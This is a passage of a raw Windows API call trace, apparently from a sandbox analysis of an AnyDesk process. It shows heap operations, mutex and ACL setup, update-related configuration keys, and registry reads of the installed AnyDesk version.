hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0193.987] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ca8 | out: hHeap=0x3b0000) returned 1 [0193.987] GetLastError () returned 0x7a [0193.987] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\ad_connect_queue_2452_2298657072_mtx") returned 0x214 [0193.988] GetLastError () returned 0x0 [0193.988] GetSecurityInfo () returned 0x0 [0193.988] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x5a89f0 [0193.988] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x5a89f0, cbSid=0x2a7b644 | out: pSid=0x5a89f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x2a7b644) returned 1 [0193.988] BuildTrusteeWithSidA () returned 0x2a7b63c [0193.988] SetEntriesInAclW () returned 0x0 [0193.988] LocalFree (hMem=0x5a89f0) returned 0x0 [0193.988] SetSecurityInfo () returned 0x0 [0193.989] LocalFree (hMem=0x5c7e10) returned 0x0 [0193.989] LocalFree (hMem=0x5c66b0) returned 0x0 [0193.989] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15fc0 | out: hHeap=0x3b0000) returned 1 [0193.989] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa28 | out: hHeap=0x3b0000) returned 1 [0193.989] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fad8 | out: hHeap=0x3b0000) returned 1 [0193.989] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa08 | out: hHeap=0x3b0000) returned 1 [0193.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0d7e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0193.989] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4aa08 [0193.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0d7e0, cbMultiByte=-1, lpWideCharStr=0xe4aa08, cchWideChar=4 | out: lpWideCharStr="evt") returned 4 [0193.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fee18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0193.989] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aa28 [0193.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fee18, cbMultiByte=-1, lpWideCharStr=0xe4aa28, cchWideChar=2 | out: lpWideCharStr="_") returned 2 [0193.989] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ca8 [0193.990] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa28 | out: hHeap=0x3b0000) returned 1 [0193.990] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fad8 [0193.990] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fb28 [0193.990] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4aa28 [0193.990] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fad8 | out: hHeap=0x3b0000) returned 1 [0193.990] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ca8 | out: hHeap=0x3b0000) returned 1 [0193.991] GetLastError () returned 0x7a [0193.991] GetSecurityInfo () returned 0x0 [0193.991] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x5a89f0 [0193.991] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x5a89f0, cbSid=0x2a7b644 | out: pSid=0x5a89f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x2a7b644) returned 1 [0193.991] BuildTrusteeWithSidA () returned 0x2a7b63c [0193.991] SetEntriesInAclW () returned 0x0 [0193.992] LocalFree (hMem=0x5a89f0) returned 0x0 [0193.992] SetSecurityInfo () returned 0x0 [0193.992] LocalFree (hMem=0x5c7e10) returned 0x0 [0193.992] LocalFree (hMem=0x5c66b0) returned 0x0 [0193.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15fc0 | out: hHeap=0x3b0000) returned 1 [0193.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa28 | out: hHeap=0x3b0000) returned 1 [0193.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0193.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa08 | out: hHeap=0x3b0000) returned 1 [0193.992] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa18 | out: hHeap=0x3b0000) returned 1 [0193.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10c60 | out: hHeap=0x3b0000) returned 1 [0193.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0193.993] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9f8 | out: hHeap=0x3b0000) returned 1 [0193.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c4e4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0193.993] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe330a8 [0193.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c4e4, cbMultiByte=-1, lpWideCharStr=0xe330a8, cchWideChar=18 | out: lpWideCharStr="IPC connect queue") returned 18 [0193.993] GetCurrentThreadId () returned 0xa0c [0193.993] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32278 [0193.993] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33138 [0193.993] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33048 [0193.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33138 | out: hHeap=0x3b0000) returned 1 [0193.994] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe330a8 | out: hHeap=0x3b0000) returned 1 [0193.994] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xac) returned 0xe179a8 [0193.994] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x13e6150, lpParameter=0xe179a8) returned 0x5cad28 [0193.995] GetLastError () returned 0x0 [0193.995] GetSystemTime (in: lpSystemTime=0x2a7b648 | out: lpSystemTime=0x2a7b648*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x1ea)) [0193.996] GetCurrentThreadId () returned 0xa0c [0193.996] GetCurrentProcessId () returned 0x994 [0193.996] GetLastError () returned 0x0 [0193.996] GetSystemTime (in: lpSystemTime=0x2a7b714 | out: lpSystemTime=0x2a7b714*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x1f9)) [0193.996] GetCurrentThreadId () returned 0xa0c [0193.996] GetCurrentProcessId () returned 0x994 [0193.996] GetLastError () returned 0x0 [0194.131] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe54fa0 [0194.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9178, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0194.132] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe02888 [0194.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9178, cbMultiByte=-1, lpWideCharStr=0xe02888, cchWideChar=24 | out: lpWideCharStr="ad.security.update_type") returned 24 [0194.132] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe028c0 [0194.132] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe028f8 [0194.132] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54b08 [0194.132] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe02930 [0194.132] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe028f8 | out: hHeap=0x3b0000) returned 1 [0194.133] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02888 | out: hHeap=0x3b0000) returned 1 [0194.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef27c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0194.133] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe322f8 [0194.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef27c, cbMultiByte=-1, lpWideCharStr=0xe322f8, cchWideChar=27 | out: lpWideCharStr="ad.security.update_channel") returned 27 [0194.133] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32378 [0194.133] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4a9f8 [0194.133] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32438 [0194.133] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54b28 [0194.133] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe324b8 [0194.134] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32438 | out: hHeap=0x3b0000) returned 1 [0194.134] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe322f8 | out: hHeap=0x3b0000) returned 1 [0194.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0194.134] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02888 [0194.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9190, cbMultiByte=-1, lpWideCharStr=0xe02888, cchWideChar=23 | out: lpWideCharStr="ad.anynet.update_state") returned 23 [0194.134] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe028f8 [0194.134] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02968 [0194.134] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54b48 [0194.134] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe029a0 [0194.135] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02968 | out: hHeap=0x3b0000) returned 1 [0194.135] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02888 | out: hHeap=0x3b0000) returned 1 [0194.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a06398, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0194.135] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe322f8 [0194.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a06398, cbMultiByte=-1, lpWideCharStr=0xe322f8, cchWideChar=27 | out: lpWideCharStr="ad.anynet.last_auto_update") returned 27 [0194.135] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32438 [0194.135] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32538 [0194.135] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54b68 [0194.135] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32478 [0194.136] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32538 | out: hHeap=0x3b0000) returned 1 [0194.136] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe322f8 | out: hHeap=0x3b0000) returned 1 [0194.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9160, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0194.136] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02888 [0194.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9160, cbMultiByte=-1, lpWideCharStr=0xe02888, cchWideChar=22 | out: lpWideCharStr="ad.anynet.cur_version") returned 22 [0194.136] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02968 [0194.136] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe029d8 [0194.136] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54b88 [0194.136] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02a10 [0194.137] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe029d8 | out: hHeap=0x3b0000) returned 1 [0194.137] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02888 | out: hHeap=0x3b0000) returned 1 [0194.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a063b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0194.137] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fb28 [0194.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a063b4, cbMultiByte=-1, lpWideCharStr=0xe2fb28, cchWideChar=34 | out: lpWideCharStr="ad.security.update_check_interval") returned 34 [0194.137] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fad8 [0194.137] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fb78 [0194.137] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54ba8 [0194.137] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fbc8 [0194.138] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb78 | out: hHeap=0x3b0000) returned 1 [0194.138] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a063d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0194.138] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe12c00 [0194.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a063d8, cbMultiByte=-1, lpWideCharStr=0xe12c00, cchWideChar=37 | out: lpWideCharStr="ad.security.update_activity_interval") returned 37 [0194.138] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe12d60 [0194.138] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e148 [0194.138] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54bc8 [0194.138] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e1a0 [0194.139] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e148 | out: hHeap=0x3b0000) returned 1 [0194.139] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0194.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a06400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0194.139] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x5a) returned 0xe31988 [0194.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a06400, cbMultiByte=-1, lpWideCharStr=0xe31988, cchWideChar=45 | out: lpWideCharStr="ad.security.update_activity_recheck_interval") returned 45 [0194.139] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x5a) returned 0xe319f0 [0194.139] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x5a) returned 0xe31a58 [0194.139] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54be8 [0194.139] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x5a) returned 0xe31ac0 [0194.140] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31a58 | out: hHeap=0x3b0000) returned 1 [0194.140] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31988 | out: hHeap=0x3b0000) returned 1 [0194.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa18 [0194.140] GetLastError () returned 0x0 [0194.141] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20019, phkResult=0x2a7b704 | out: phkResult=0x2a7b704*=0x21c) returned 0x0 [0194.141] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0194.141] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa08 [0194.141] RegQueryValueExW (in: hKey=0x21c, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x2a7b6b8, lpData=0x0, lpcbData=0x2a7b6bc*=0x0 | out: lpType=0x2a7b6b8*=0x1, lpData=0x0, lpcbData=0x2a7b6bc*=0x32) returned 0x0 [0194.141] RegQueryValueExW (in: hKey=0x21c, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x0, lpData=0x2a7b670, lpcbData=0x2a7b6bc*=0x34 | out: lpType=0x0, lpData=0x2a7b670*=0x22, lpcbData=0x2a7b6bc*=0x32) returned 0x0 [0194.141] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe322f8 [0194.141] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa08 | out: hHeap=0x3b0000) returned 1 [0194.141] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe02888 [0194.141] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe322f8 | out: hHeap=0x3b0000) returned 1 [0194.141] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa18 | out: hHeap=0x3b0000) returned 1 [0194.142] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe029d8 [0194.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0194.142] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aa18 [0194.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0xe4aa18, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0194.142] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11488 [0194.142] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2fb28 [0194.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02888 | out: hHeap=0x3b0000) returned 1 [0194.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0194.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa18 | out: hHeap=0x3b0000) returned 1 [0194.142] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa18 [0194.142] RegQueryValueExW (in: hKey=0x21c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x2a7b6b8, lpData=0x0, lpcbData=0x2a7b6bc*=0x0 | out: lpType=0x2a7b6b8*=0x1, lpData=0x0, lpcbData=0x2a7b6bc*=0x12) returned 0x0 [0194.142] RegQueryValueExW (in: hKey=0x21c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x0, lpData=0x2a7b690, lpcbData=0x2a7b6bc*=0x14 | out: lpType=0x0, lpData=0x2a7b690*=0x61, lpcbData=0x2a7b6bc*=0x12) returned 0x0 [0194.143] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe54c08 [0194.143] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa18 | out: hHeap=0x3b0000) returned 1 [0194.143] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4aa18 [0194.143] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54c08 | out: hHeap=0x3b0000) returned 1 [0194.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0194.143] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4aa08 [0194.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0xe4aa08, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0194.143] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa08 | out: hHeap=0x3b0000) returned 1 [0194.143] RegQueryValueExW (in: hKey=0x21c, lpValueName="VersionMajor", lpReserved=0x0, lpType=0x2a7b708, lpData=0x2a7b704, lpcbData=0x2a7b710*=0x4 | out: lpType=0x2a7b708*=0x4, lpData=0x2a7b704*=0x7, lpcbData=0x2a7b710*=0x4) returned 0x0 [0194.143] RegQueryValueExW (in: hKey=0x21c, lpValueName="VersionMinor", lpReserved=0x0, lpType=0x2a7b710, lpData=0x2a7b718, lpcbData=0x2a7b708*=0x4 | out: lpType=0x2a7b710*=0x4, lpData=0x2a7b718*=0x0, lpcbData=0x2a7b708*=0x4) returned 0x0 [0194.143] RegQueryValueExW (in: hKey=0x21c, lpValueName="VersionBuild", lpReserved=0x0, lpType=0x2a7b710, lpData=0x2a7b71c, lpcbData=0x2a7b708*=0x4 | out: lpType=0x2a7b710*=0x4, lpData=0x2a7b71c*=0x7, lpcbData=0x2a7b708*=0x4) returned 0x0 [0194.143] RegQueryValueExW (in: hKey=0x21c, lpValueName="VersionTimestamp", lpReserved=0x0, lpType=0x2a7b6c4, lpData=0x2a7b6f8, lpcbData=0x2a7b6c8*=0x8 | out: lpType=0x2a7b6c4*=0xb, lpData=0x2a7b6f8*=0x1263e8c2a8e0, lpcbData=0x2a7b6c8*=0x8) returned 0x0 [0194.143] PathFileExistsW (pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0194.144] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa18 | out: hHeap=0x3b0000) returned 1 [0194.144] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.144] RegCloseKey (hKey=0x21c) returned 0x0 [0194.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9a68, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0194.144] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe330a8 [0194.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9a68, cbMultiByte=-1, lpWideCharStr=0xe330a8, cchWideChar=19 | out: lpWideCharStr="ad.features.update") returned 19 [0194.144] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33138 [0194.144] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33168 [0194.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54c08 [0194.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe330d8 [0194.145] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33168 | out: hHeap=0x3b0000) returned 1 [0194.145] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe330a8 | out: hHeap=0x3b0000) returned 1 [0194.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1) returned 0xe4aa18 [0194.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.145] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa08 [0194.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4aa08, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.146] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa28 [0194.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4aa28, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.146] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa38 [0194.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.146] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4aa48 [0194.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4aa48, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.146] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa48 | out: hHeap=0x3b0000) returned 1 [0194.146] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2d) returned 0xe02888 [0194.146] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11488 [0194.146] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02888 | out: hHeap=0x3b0000) returned 1 [0194.146] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa48 [0194.147] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54c28 [0194.147] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe330a8 [0194.147] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa48 | out: hHeap=0x3b0000) returned 1 [0194.147] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa38 | out: hHeap=0x3b0000) returned 1 